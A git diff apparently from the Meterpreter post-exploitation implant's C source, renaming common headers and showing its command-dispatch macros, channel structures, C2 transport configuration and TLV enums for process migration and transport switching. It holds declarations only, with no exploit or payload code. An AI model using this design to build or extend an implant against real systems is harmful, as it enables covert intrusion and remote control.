+#include "common_scheduler.h" -int current_unix_timestamp(void); -VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize); -BOOL is_null_guid(BYTE guid[sizeof(GUID)]); -VOID rand_xor_key(BYTE buffer[4]); \ No newline at end of file +#endif diff --git a/c/meterpreter/source/common/base.h b/c/meterpreter/source/common/common_base.h similarity index 82% rename from c/meterpreter/source/common/base.h rename to c/meterpreter/source/common/common_base.h index 1f6a320b..565ae940 100644 --- a/c/meterpreter/source/common/base.h +++ b/c/meterpreter/source/common/common_base.h @@ -1,110 +1,94 @@ -/*! - * @file base.h - * @brief Declarations, macros and types that apply to almost any Meterpreter component. - */ -#ifndef _METERPRETER_BASE_H -#define _METERPRETER_BASE_H - -#include "linkage.h" -#include "core.h" - -/*! @brief Function pointer type that defines the interface for a dispatch handler. */ -typedef DWORD(*DISPATCH_ROUTINE)(Remote *remote, Packet *packet); -typedef BOOL(*INLINE_DISPATCH_ROUTINE)(Remote *remote, Packet *packet, DWORD* result); - -/*! @brief Specifies the maximum number of arguments that are checked/handled - * in a request/response packet dispatcher. - */ -#define MAX_CHECKED_ARGUMENTS 16 - -/*! @brief Flag indicating that the command arguments repeat. */ -#define ARGUMENT_FLAG_REPEAT (1 << 28) -/*! @brief Mask indicating the range numbers allowed for command arguments. */ -#define ARGUMENT_FLAG_MASK 0x0fffffff - -/*! @brief Helper macro that contains the required NULL initialisations for a command handler TLV info. */ -#define EMPTY_TLV { 0 }, 0 -/*! @brief Helper macro which defines an empty dispatch handler. */ -#define EMPTY_DISPATCH_HANDLER NULL, NULL, EMPTY_TLV -/*! @brief Helper macro that defines terminator for command lists. */ -#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } } - -/*! - * @brief Helper macro that defines a command instance with a request handler only. - * @remarks The request handler will be executed on a separate thread. - */ -#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } } -/*! - * @brief Helper macro that defines a command instance with a response handler only. - * @remarks The request handler will be executed on a separate thread. - */ -#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, NULL, EMPTY_TLV } } -/*! - * @brief Helper macro that defines a command instance with both a request and response handler. - * @remarks The request handler will be executed on a separate thread. - */ -#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } } -/*! - * @brief Helper macro that defines a command instance with an inline request handler only. - * @remarks The request handler will be executed on the server thread. - */ -#define COMMAND_INLINE_REQ(name, reqHandler) { name, { NULL, reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } } -/*! - * @brief Helper macro that defines a command instance with an inline response handler only. - * @remarks The response handler will be executed on the server thread. - */ -#define COMMAND_INLINE_REP(name, reqHandler) { name, { EMPTY_DISPATCH_HANDLER }, { NULL, reqHandler, EMPTY_TLV } } - -// Place holders -/*! @deprecated This entity is not used and may be removed in future. */ -#define EXPORT_TABLE_BEGIN() -/*! @deprecated This entity is not used and may be removed in future. */ -#define EXPORT_TABLE_END() - -/*! - * @brief Defines a command handler for requests and responses. - */ -typedef struct -{ - /*! @brief Pointer to the routine that will be called to handle the request/response. */ - DISPATCH_ROUTINE handler; - - /*! - * @brief Pointer to the routine that will be called on the _current thread_. - * @remark If this function is specified then it will be invoked on the current server - * thread rather than having a new thread allocated to it for processing. - * The result of this routine will indicate whether the server should continue. - * If this value is specified (ie. non-NULL) then the \c handler value is ignored. - */ - INLINE_DISPATCH_ROUTINE inline_handler; - - /*! @brief Array of types that match the expected arguments for this response/request routine. */ - TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS]; - /*! @brief The number of entries in the \c argumentTypes array. */ - DWORD numArgumentTypes; -} PacketDispatcher; - -/*! - * @brief Container for a command definition. - */ -typedef struct command -{ - LPCSTR method; ///< Identifier for the command. - PacketDispatcher request; ///< Defines the request handler. - PacketDispatcher response; ///< Defines the response handler. - - // Internal -- not stored - struct command *next; ///< Pointer to the next command in the command list. - struct command *prev; ///< Pointer to the previous command in the command list. -} Command; - -LINKAGE void command_register_all(Command commands[]); -LINKAGE void command_deregister_all(Command commands[]); -LINKAGE DWORD command_register(Command *command); -LINKAGE DWORD command_deregister(Command *command); - -LINKAGE VOID command_join_threads( VOID ); - -LINKAGE BOOL command_handle( Remote *remote, Packet *packet ); - -#endif +/*! + * @file common_base.h + * @brief Declarations of macros and types that apply to almost any Meterpreter component. + */ +#ifndef _METERPRETER_COMMON_BASE_H +#define _METERPRETER_COMMON_BASE_H + +#include "common_core.h" + +/*! @brief Function pointer type that defines the interface for a dispatch handler. */ +typedef DWORD(*DISPATCH_ROUTINE)(Remote *remote, Packet *packet); +typedef BOOL(*INLINE_DISPATCH_ROUTINE)(Remote *remote, Packet *packet, DWORD* result); + +/*! @brief Specifies the maximum number of arguments that are checked/handled + * in a request/response packet dispatcher. + */ +#define MAX_CHECKED_ARGUMENTS 16 + +/*! @brief Flag indicating that the command arguments repeat. */ +#define ARGUMENT_FLAG_REPEAT (1 << 28) +/*! @brief Mask indicating the range numbers allowed for command arguments. */ +#define ARGUMENT_FLAG_MASK 0x0fffffff + +/*! @brief Helper macro that contains the required NULL initialisations for a command handler TLV info. */ +#define EMPTY_TLV { 0 }, 0 +/*! @brief Helper macro which defines an empty dispatch handler. */ +#define EMPTY_DISPATCH_HANDLER NULL, NULL, EMPTY_TLV +/*! @brief Helper macro that defines terminator for command lists. */ +#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } } + +/*! + * @brief Helper macro that defines a command instance with a request handler only. + * @remarks The request handler will be executed on a separate thread. + */ +#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } } +/*! + * @brief Helper macro that defines a command instance with a response handler only. + * @remarks The request handler will be executed on a separate thread. + */ +#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, NULL, EMPTY_TLV } } +/*! + * @brief Helper macro that defines a command instance with both a request and response handler. + * @remarks The request handler will be executed on a separate thread. + */ +#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } } +/*! + * @brief Helper macro that defines a command instance with an inline request handler only. + * @remarks The request handler will be executed on the server thread. + */ +#define COMMAND_INLINE_REQ(name, reqHandler) { name, { NULL, reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } } +/*! + * @brief Helper macro that defines a command instance with an inline response handler only. + * @remarks The response handler will be executed on the server thread. + */ +#define COMMAND_INLINE_REP(name, reqHandler) { name, { EMPTY_DISPATCH_HANDLER }, { NULL, reqHandler, EMPTY_TLV } } + +/*! + * @brief Defines a command handler for requests and responses. + */ +typedef struct +{ + /*! @brief Pointer to the routine that will be called to handle the request/response. */ + DISPATCH_ROUTINE handler; + + /*! + * @brief Pointer to the routine that will be called on the _current thread_. + * @remark If this function is specified then it will be invoked on the current server + * thread rather than having a new thread allocated to it for processing. + * The result of this routine will indicate whether the server should continue. + * If this value is specified (ie. non-NULL) then the \c handler value is ignored. + */ + INLINE_DISPATCH_ROUTINE inline_handler; + + /*! @brief Array of types that match the expected arguments for this response/request routine. */ + TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS]; + /*! @brief The number of entries in the \c argumentTypes array. */ + DWORD numArgumentTypes; +} PacketDispatcher; + +/*! + * @brief Container for a command definition. + */ +typedef struct command +{ + LPCSTR method; ///< Identifier for the command. + PacketDispatcher request; ///< Defines the request handler. + PacketDispatcher response; ///< Defines the response handler. + + // Internal -- not stored + struct command *next; ///< Pointer to the next command in the command list. + struct command *prev; ///< Pointer to the previous command in the command list. +} Command; + +#endif diff --git a/c/meterpreter/source/common/channel.h b/c/meterpreter/source/common/common_channel.h similarity index 56% rename from c/meterpreter/source/common/channel.h rename to c/meterpreter/source/common/common_channel.h index bfcccdd7..22aa97f2 100644 --- a/c/meterpreter/source/common/channel.h +++ b/c/meterpreter/source/common/common_channel.h @@ -1,217 +1,146 @@ -#ifndef _METERPRETER_LIB_CHANNEL_H -#define _METERPRETER_LIB_CHANNEL_H - -#include "linkage.h" -#include "remote.h" - -struct _Channel; -struct _ChannelBuffer; - -// Direct I/O operation modes (read/write/close) -typedef enum -{ - CHANNEL_DIO_MODE_OPEN = 0, - CHANNEL_DIO_MODE_READ = 1, - CHANNEL_DIO_MODE_WRITE = 2, - CHANNEL_DIO_MODE_CLOSE = 3, - CHANNEL_DIO_MODE_INTERACT = 3, -} ChannelDioMode; - -// Direct I/O handler -- used in place of internal buffering for channels -// that can do event based forwarding of buffers. -typedef DWORD (*DirectIoHandler)(struct _Channel *channel, - struct _ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode, - PUCHAR chunk, ULONG length, PULONG bytesXfered); - -// Asynchronous completion routines -- used with channel_open, channel_read, -// etc. -typedef DWORD (*ChannelOpenCompletionRoutine)(Remote *remote, - struct _Channel *channel, LPVOID context, DWORD result); -typedef DWORD (*ChannelReadCompletionRoutine)(Remote *remote, - struct _Channel *channel, LPVOID context, DWORD result, PUCHAR buffer, - ULONG bytesRead); -typedef DWORD (*ChannelWriteCompletionRoutine)(Remote *remote, - struct _Channel *channel, LPVOID context, DWORD result, - ULONG bytesWritten); -typedef DWORD (*ChannelCloseCompletionRoutine)(Remote *remote, - struct _Channel *channel, LPVOID context, DWORD result); -typedef DWORD (*ChannelInteractCompletionRoutine)(Remote *remote, - struct _Channel *channel, LPVOID context, DWORD result); - -// Completion routine wrapper context -typedef struct _ChannelCompletionRoutine -{ - LPVOID context; - - struct - { - ChannelOpenCompletionRoutine open; - ChannelReadCompletionRoutine read; - ChannelWriteCompletionRoutine write; - ChannelCloseCompletionRoutine close; - ChannelInteractCompletionRoutine interact; - } routine; - -} ChannelCompletionRoutine; - -// Logical channel buffer used to queue or for event based updating -typedef struct _ChannelBuffer -{ - PUCHAR buffer; - ULONG currentSize; - ULONG totalSize; - - // IO handler -- default is internal queuing - DirectIoHandler dio; - LPVOID dioContext; -} ChannelBuffer; - -// Channel operations that are used by any channel -typedef struct _NativeChannelOps -{ - LPVOID context; - DWORD (*write)(struct _Channel *channel, Packet *request, - LPVOID context, LPVOID buffer, DWORD bufferSize, - LPDWORD bytesWritten); - DWORD (*close)(struct _Channel *channel, Packet *request, - LPVOID context); - DWORD (*interact)(struct _Channel *channel, Packet *request, - LPVOID context, BOOLEAN interact); -} NativeChannelOps; - -// Channel operations for a stream-based channel -typedef struct _StreamChannelOps -{ - NativeChannelOps native; -} StreamChannelOps; - -// Channel operations for a datagram-based channel -typedef struct _DatagramChannelOps -{ - NativeChannelOps native; -} DatagramChannelOps; - -// Channel operations for a pool-based channel -typedef struct _PoolChannelOps -{ - NativeChannelOps native; - DWORD (*read)(struct _Channel *channel, Packet *request, - LPVOID context, LPVOID buffer, DWORD bufferSize, - LPDWORD bytesRead); - DWORD (*eof)(struct _Channel *channel, Packet *request, - LPVOID context, LPBOOL isEof); - DWORD (*seek)(struct _Channel *channel, Packet *request, - LPVOID context, LONG offset, DWORD whence); - DWORD (*tell)(struct _Channel *channel, Packet *request, - LPVOID context, LPLONG offset); -} PoolChannelOps; - -/* - * Values for the 'cls' attribute - */ -#define CHANNEL_CLASS_BUFFERED 0 -#define CHANNEL_CLASS_STREAM 1 -#define CHANNEL_CLASS_DATAGRAM 2 -#define CHANNEL_CLASS_POOL 3 - -typedef struct _Channel -{ - // The channel's identifier - DWORD identifier; - // The channel's class - DWORD cls; - // The type of channel, NULL for default. - PCHAR type; - // Flag for whether or not the channel is currently interactive - BOOL interactive; - // Operational flags - ULONG flags; - // Lock for synchronizing communication to a channel - LOCK * lock; - // The buffered output buffer (as in being outputted bufferedly) - union - { - ChannelBuffer buffered; - StreamChannelOps stream; - DatagramChannelOps datagram; - PoolChannelOps pool; - } ops; - - // Internal attributes for list - struct _Channel *prev; - struct _Channel *next; -} Channel; - -#define CHANNEL_CHUNK_SIZE 4096 - -/* - * Channel manipulation - */ -LINKAGE Channel *channel_create(DWORD identifier, DWORD flags); -LINKAGE Channel *channel_create_stream(DWORD identifier, - DWORD flags, StreamChannelOps *ops); -LINKAGE Channel *channel_create_datagram(DWORD identifier, - DWORD flags, DatagramChannelOps *ops); -LINKAGE Channel *channel_create_pool(DWORD identifier, - DWORD flags, PoolChannelOps *ops); -LINKAGE VOID channel_destroy(Channel *channel, Packet *request); - -LINKAGE DWORD channel_get_id(Channel *channel); - -LINKAGE VOID channel_set_type(Channel *channel, PCHAR type); -LINKAGE PCHAR channel_get_type(Channel *channel); - -LINKAGE DWORD channel_get_class(Channel *channel); - -LINKAGE VOID channel_set_flags(Channel *channel, ULONG flags); -LINKAGE BOOLEAN channel_is_flag(Channel *channel, ULONG flag); -LINKAGE ULONG channel_get_flags(Channel *channel); - -LINKAGE VOID channel_set_interactive(Channel *channel, BOOL interactive); -LINKAGE BOOL channel_is_interactive(Channel *channel); - -LINKAGE DWORD channel_write_to_remote(Remote *remote, Channel *channel, - PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten); - -LINKAGE DWORD channel_write_to_buffered(Channel *channel, PUCHAR chunk, - ULONG chunkLength, PULONG bytesWritten); -LINKAGE DWORD channel_read_from_buffered(Channel *channel, PUCHAR chunk, - ULONG chunkLength, PULONG bytesRead); - -LINKAGE VOID channel_set_buffered_io_handler(Channel *channel, LPVOID dioContext, - DirectIoHandler dio); -LINKAGE PVOID channel_get_buffered_io_context(Channel *channel); -LINKAGE VOID channel_set_native_io_context(Channel *channel, LPVOID context); -LINKAGE LPVOID channel_get_native_io_context(Channel *channel); - -LINKAGE DWORD channel_default_io_handler(Channel *channel, - ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode, - PUCHAR chunk, ULONG length, PULONG bytesXfered); - -/* - * Remote channel API, used for communication with remotes - * - * Each of these routines accepts a completion routine that allows for custom - * handling of the response. - */ -LINKAGE DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength, - ChannelCompletionRoutine *completionRoutine); -LINKAGE DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, ULONG length, - ChannelCompletionRoutine *completionRoutine); -LINKAGE DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, PUCHAR buffer, ULONG length, - ChannelCompletionRoutine *completionRoutine); -LINKAGE DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, ChannelCompletionRoutine *completionRoutine); -LINKAGE DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, BOOL enable, - ChannelCompletionRoutine *completionRoutine); - -/* - * Channel searching - */ -LINKAGE Channel *channel_find_by_id(DWORD id); -LINKAGE BOOL channel_exists(Channel *channel); - -#endif +#ifndef _METERPRETER_COMMON_CHANNEL_H +#define _METERPRETER_COMMON_CHANNEL_H + +#include "common_remote.h" + +struct _Channel; +struct _ChannelBuffer; + +// Direct I/O operation modes (read/write/close) +typedef enum +{ + CHANNEL_DIO_MODE_OPEN = 0, + CHANNEL_DIO_MODE_READ = 1, + CHANNEL_DIO_MODE_WRITE = 2, + CHANNEL_DIO_MODE_CLOSE = 3, + CHANNEL_DIO_MODE_INTERACT = 3, +} ChannelDioMode; + +// Direct I/O handler -- used in place of internal buffering for channels +// that can do event based forwarding of buffers. +typedef DWORD (*DirectIoHandler)(struct _Channel *channel, + struct _ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode, + PUCHAR chunk, ULONG length, PULONG bytesXfered); + +// Asynchronous completion routines -- used with channel_open, channel_read, +// etc. +typedef DWORD (*ChannelOpenCompletionRoutine)(Remote *remote, + struct _Channel *channel, LPVOID context, DWORD result); +typedef DWORD (*ChannelReadCompletionRoutine)(Remote *remote, + struct _Channel *channel, LPVOID context, DWORD result, PUCHAR buffer, + ULONG bytesRead); +typedef DWORD (*ChannelWriteCompletionRoutine)(Remote *remote, + struct _Channel *channel, LPVOID context, DWORD result, + ULONG bytesWritten); +typedef DWORD (*ChannelCloseCompletionRoutine)(Remote *remote, + struct _Channel *channel, LPVOID context, DWORD result); +typedef DWORD (*ChannelInteractCompletionRoutine)(Remote *remote, + struct _Channel *channel, LPVOID context, DWORD result); + +// Completion routine wrapper context +typedef struct _ChannelCompletionRoutine +{ + LPVOID context; + + struct + { + ChannelOpenCompletionRoutine open; + ChannelReadCompletionRoutine read; + ChannelWriteCompletionRoutine write; + ChannelCloseCompletionRoutine close; + ChannelInteractCompletionRoutine interact; + } routine; + +} ChannelCompletionRoutine; + +// Logical channel buffer used to queue or for event based updating +typedef struct _ChannelBuffer +{ + PUCHAR buffer; + ULONG currentSize; + ULONG totalSize; + + // IO handler -- default is internal queuing + DirectIoHandler dio; + LPVOID dioContext; +} ChannelBuffer; + +// Channel operations that are used by any channel +typedef struct _NativeChannelOps +{ + LPVOID context; + DWORD (*write)(struct _Channel *channel, Packet *request, + LPVOID context, LPVOID buffer, DWORD bufferSize, + LPDWORD bytesWritten); + DWORD (*close)(struct _Channel *channel, Packet *request, + LPVOID context); + DWORD (*interact)(struct _Channel *channel, Packet *request, + LPVOID context, BOOLEAN interact); +} NativeChannelOps; + +// Channel operations for a stream-based channel +typedef struct _StreamChannelOps +{ + NativeChannelOps native; +} StreamChannelOps; + +// Channel operations for a datagram-based channel +typedef struct _DatagramChannelOps +{ + NativeChannelOps native; +} DatagramChannelOps; + +// Channel operations for a pool-based channel +typedef struct _PoolChannelOps +{ + NativeChannelOps native; + DWORD (*read)(struct _Channel *channel, Packet *request, + LPVOID context, LPVOID buffer, DWORD bufferSize, + LPDWORD bytesRead); + DWORD (*eof)(struct _Channel *channel, Packet *request, + LPVOID context, LPBOOL isEof); + DWORD (*seek)(struct _Channel *channel, Packet *request, + LPVOID context, LONG offset, DWORD whence); + DWORD (*tell)(struct _Channel *channel, Packet *request, + LPVOID context, LPLONG offset); +} PoolChannelOps; + +/* + * Values for the 'cls' attribute + */ +#define CHANNEL_CLASS_BUFFERED 0 +#define CHANNEL_CLASS_STREAM 1 +#define CHANNEL_CLASS_DATAGRAM 2 +#define CHANNEL_CLASS_POOL 3 + +typedef struct _Channel +{ + // The channel's identifier + DWORD identifier; + // The channel's class + DWORD cls; + // The type of channel, NULL for default. + PCHAR type; + // Flag for whether or not the channel is currently interactive + BOOL interactive; + // Operational flags + ULONG flags; + // Lock for synchronizing communication to a channel + LOCK * lock; + // The buffered output buffer (as in being outputted bufferedly) + union + { + ChannelBuffer buffered; + StreamChannelOps stream; + DatagramChannelOps datagram; + PoolChannelOps pool; + } ops; + + // Internal attributes for list + struct _Channel *prev; + struct _Channel *next; +} Channel; + +#define CHANNEL_CHUNK_SIZE 4096 + +#endif diff --git a/c/meterpreter/source/common/config.h b/c/meterpreter/source/common/common_config.h old mode 100755 new mode 100644 similarity index 97% rename from c/meterpreter/source/common/config.h rename to c/meterpreter/source/common/common_config.h index c2821f62..9771afb7 --- a/c/meterpreter/source/common/config.h +++ b/c/meterpreter/source/common/common_config.h @@ -2,14 +2,14 @@ * @file config.h * @brief Declarations of functions and types that define endpoint and transport configurations. */ -#ifndef _METERPRETER_LIB_CONFIG_H -#define _METERPRETER_LIB_CONFIG_H +#ifndef _METERPRETER_COMMON_CONFIG_H +#define _METERPRETER_COMMON_CONFIG_H /*! @brief This is the size of the certificate hash that is validated (sha1) */ #define CERT_HASH_SIZE 20 #define URL_SIZE 512 #define UA_SIZE 256 -#define UUID_SIZE 16 +#define UUID_SIZE 16 #define PROXY_HOST_SIZE 128 #define PROXY_USER_SIZE 64 #define PROXY_PASS_SIZE 64 @@ -24,14 +24,14 @@ typedef CHARTYPE const * CSTRTYPE; typedef struct _MetsrvSession { - union - { - UINT_PTR handle; - BYTE padding[8]; + union + { + UINT_PTR handle; + BYTE padding[8]; } comms_handle; ///! Socket/handle for communications (if there is one). DWORD exit_func; ///! Exit func identifier for when the session ends. int expiry; ///! The total number of seconds to wait before killing off the session. - BYTE uuid[UUID_SIZE]; ///! UUID + BYTE uuid[UUID_SIZE]; ///! UUID BYTE session_guid[sizeof(GUID)]; ///! Current session GUID } MetsrvSession; @@ -59,11 +59,11 @@ typedef struct _MetsrvTransportHttp CHARTYPE custom_headers[1]; ///! Custom headers to add to outbound requests (arb length, NULL terminated). } MetsrvTransportHttp; -typedef struct _MetsrvTransportTcp -{ - MetsrvTransportCommon common; -} MetsrvTransportTcp; - +typedef struct _MetsrvTransportTcp +{ + MetsrvTransportCommon common; +} MetsrvTransportTcp; + typedef struct _MetsrvTransportNamedPipe { MetsrvTransportCommon common; @@ -81,7 +81,7 @@ typedef struct _MetsrvConfig MetsrvTransportCommon transports[1]; ///! Placeholder for 0 or more transports // Extensions will appear after this // After extensions, we get a list of extension initialisers - // \x00 + // \x00 // \x00 // \x00 } MetsrvConfig; diff --git a/c/meterpreter/source/common/core.h b/c/meterpreter/source/common/common_core.h old mode 100755 new mode 100644 similarity index 78% rename from c/meterpreter/source/common/core.h rename to c/meterpreter/source/common/common_core.h index 9e94878b..8733fb4f --- a/c/meterpreter/source/common/core.h +++ b/c/meterpreter/source/common/common_core.h @@ -1,306 +1,246 @@ -/*! - * @file core.h - * @brief Declarations of core components of the Meterpreter suite. - * @details Much of what exists in the core files is used in almost every area - * of the Meterpreter code base, and hence it's very important. Don't - * change this stuff unless you know what you're doing! - */ -#ifndef _METERPRETER_CORE_H -#define _METERPRETER_CORE_H - -#include "linkage.h" -#include "remote.h" -#include "list.h" - -/*! - * @brief Creates a new TLV value based on `actual` and `meta` values. - */ -#define TLV_VALUE(meta, actual) actual | meta -/*! - * @brief Creates a new custom TVL type. - */ -#define MAKE_CUSTOM_TLV(meta, base, actual) (TlvType)((base + actual) | meta) - -/*! - * @brief Enumeration of allowed Packet TLV types. - */ -typedef enum -{ - PACKET_TLV_TYPE_REQUEST = 0, ///< Indicates a request packet. - PACKET_TLV_TYPE_RESPONSE = 1, ///< Indicates a response packet. - PACKET_TLV_TYPE_PLAIN_REQUEST = 10, ///< Indicates a plain request packet. - PACKET_TLV_TYPE_PLAIN_RESPONSE = 11, ///< Indicates a plain response packet. -} PacketTlvType; - -/*! @brief Meta TLV argument type representing a null value. */ -#define TLV_META_TYPE_NONE (0 << 0) -/*! @brief Meta TLV argument type representing a string value. */ -#define TLV_META_TYPE_STRING (1 << 16) -/*! @brief Meta TLV argument type representing a unsigned integer value. */ -#define TLV_META_TYPE_UINT (1 << 17) -/*! @brief Meta TLV argument type representing a raw data value. */ -#define TLV_META_TYPE_RAW (1 << 18) -/*! @brief Meta TLV argument type representing a boolean value. */ -#define TLV_META_TYPE_BOOL (1 << 19) -/*! @brief Meta TLV argument type representing a quad-word value. */ -#define TLV_META_TYPE_QWORD (1 << 20) -/*! @brief Meta TLV argument type representing a compressed data value. */ -#define TLV_META_TYPE_COMPRESSED (1 << 29) -/*! @brief Meta TLV argument type representing a group value. */ -#define TLV_META_TYPE_GROUP (1 << 30) -/*! @brief Meta TLV argument type representing a nested/complex value. */ -#define TLV_META_TYPE_COMPLEX (1 << 31) -/*! @brief Meta TLV argument type representing a flag set/mask value. */ -#define TLV_META_TYPE_MASK(x) ((x) & 0xffff0000) - -/*! @brief Base value for reserved TLV definitions. */ -#define TLV_RESERVED 0 -/*! @brief Base value for TLV definitions that are part of extensions. */ -#define TLV_EXTENSIONS 20000 -/*! @brief Base value for user TLV definitions. */ -#define TLV_USER 40000 -/*! @brief Base value for temporary TLV definitions. */ -#define TLV_TEMP 60000 - -/*! - * @brief Indicates that the library in question should be stored on disk. - * @detail Some libraries can be written to disk and other libraries can't. The use of - * this flag will indicate that the library should not be written to disk and - * instead should be loaded reflectively. - */ -#define LOAD_LIBRARY_FLAG_ON_DISK (1 << 0) - -/*! - * @brief Indicates that the library in question is an extension library. - * @detail Extension libraries have \c InitServerExtension and \c DeinitServerExtension - * functions which need to be invoked. This flag indicates that the library has - * these functions and that they should be called appropriately. - */ -#define LOAD_LIBRARY_FLAG_EXTENSION (1 << 1) - -/*! - * @brief Indicates that the library in question is a library that exists locally. - * @detail Libraries can already exist on the target machine. This flag indicates that - * the library doesn't need to be uploaded, it just needs to be invoked directly - * on the local machine. - */ -#define LOAD_LIBRARY_FLAG_LOCAL (1 << 2) - -/*! @brief An indication of whether the challen is synchronous or asynchronous. */ -#define CHANNEL_FLAG_SYNCHRONOUS (1 << 0) -/*! @brief An indication of whether the content written to the channel should be compressed. */ -#define CHANNEL_FLAG_COMPRESS (1 << 1) - -/*! @brief Type definition with defines `TlvMetaType` as an double-word. */ -typedef DWORD TlvMetaType; - -/*! - * @brief Full list of recognised TLV types. - */ -typedef enum -{ - TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0), ///! Represents an undefined/arbitrary value. - TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1), ///! Represents a method/function name value. - TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2), ///! Represents a request identifier value. - TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3), ///! Represents an exception value. - TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4), ///! Represents a result value. - - // Argument basic types - TLV_TYPE_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 10), ///! Represents a string value. - TLV_TYPE_UINT = TLV_VALUE(TLV_META_TYPE_UINT, 11), ///! Represents an unsigned integer value. - TLV_TYPE_BOOL = TLV_VALUE(TLV_META_TYPE_BOOL, 12), ///! Represents a boolean value. - - // Extended types - TLV_TYPE_LENGTH = TLV_VALUE(TLV_META_TYPE_UINT, 25), ///! Represents a length (unsigned integer). - TLV_TYPE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 26), ///! Represents arbitrary data (raw). - TLV_TYPE_FLAGS = TLV_VALUE(TLV_META_TYPE_UINT, 27), ///! Represents a set of flags (unsigned integer). - - // Channel types - TLV_TYPE_CHANNEL_ID = TLV_VALUE(TLV_META_TYPE_UINT, 50), ///! Represents a channel identifier (unsigned integer). - TLV_TYPE_CHANNEL_TYPE = TLV_VALUE(TLV_META_TYPE_STRING, 51), ///! Represents a channel type (string). - TLV_TYPE_CHANNEL_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 52), ///! Represents channel data (raw). - TLV_TYPE_CHANNEL_DATA_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 53), ///! Represents a channel data group (group). - TLV_TYPE_CHANNEL_CLASS = TLV_VALUE(TLV_META_TYPE_UINT, 54), ///! Represents a channel class (unsigned integer). - TLV_TYPE_CHANNEL_PARENTID = TLV_VALUE(TLV_META_TYPE_UINT, 55), ///! Represents a channel parent identifier (unsigned integer). - - // Channel extended types - TLV_TYPE_SEEK_WHENCE = TLV_VALUE(TLV_META_TYPE_UINT, 70), - TLV_TYPE_SEEK_OFFSET = TLV_VALUE(TLV_META_TYPE_UINT, 71), - TLV_TYPE_SEEK_POS = TLV_VALUE(TLV_META_TYPE_UINT, 72), - - // Grouped identifiers - TLV_TYPE_EXCEPTION_CODE = TLV_VALUE(TLV_META_TYPE_UINT, 300), ///! Represents an exception code value (unsigned in). - TLV_TYPE_EXCEPTION_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 301), ///! Represents an exception message value (string). - - // Library loading - TLV_TYPE_LIBRARY_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 400), ///! Represents a path to the library to be loaded (string). - TLV_TYPE_TARGET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 401), ///! Represents a target path (string). - TLV_TYPE_MIGRATE_PID = TLV_VALUE(TLV_META_TYPE_UINT, 402), ///! Represents a process identifier of the migration target (unsigned integer). - TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 403), ///! Represents a migration payload size/length in bytes (unsigned integer). - TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///! Represents a migration payload (string). - TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///! Represents a migration target architecture. - TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///! Represents a migration technique (unsigned int). - TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///! Represents a migration payload base address (unsigned int). - TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///! Represents a migration payload entry point (unsigned int). - TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///! Represents a unix domain socket path, used to migrate on linux (string) - TLV_TYPE_MIGRATE_STUB_LEN = TLV_VALUE(TLV_META_TYPE_UINT, 410), ///! Represents a migration stub length (uint). - TLV_TYPE_MIGRATE_STUB = TLV_VALUE(TLV_META_TYPE_STRING, 411), ///! Represents a migration stub (string). - - // Transport switching - TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to. - TLV_TYPE_TRANS_URL = TLV_VALUE(TLV_META_TYPE_STRING, 431), ///! Represents the new URL of the transport to use. - TLV_TYPE_TRANS_UA = TLV_VALUE(TLV_META_TYPE_STRING, 432), ///! Represents the user agent (for http). - TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 433), ///! Represents the communications timeout. - 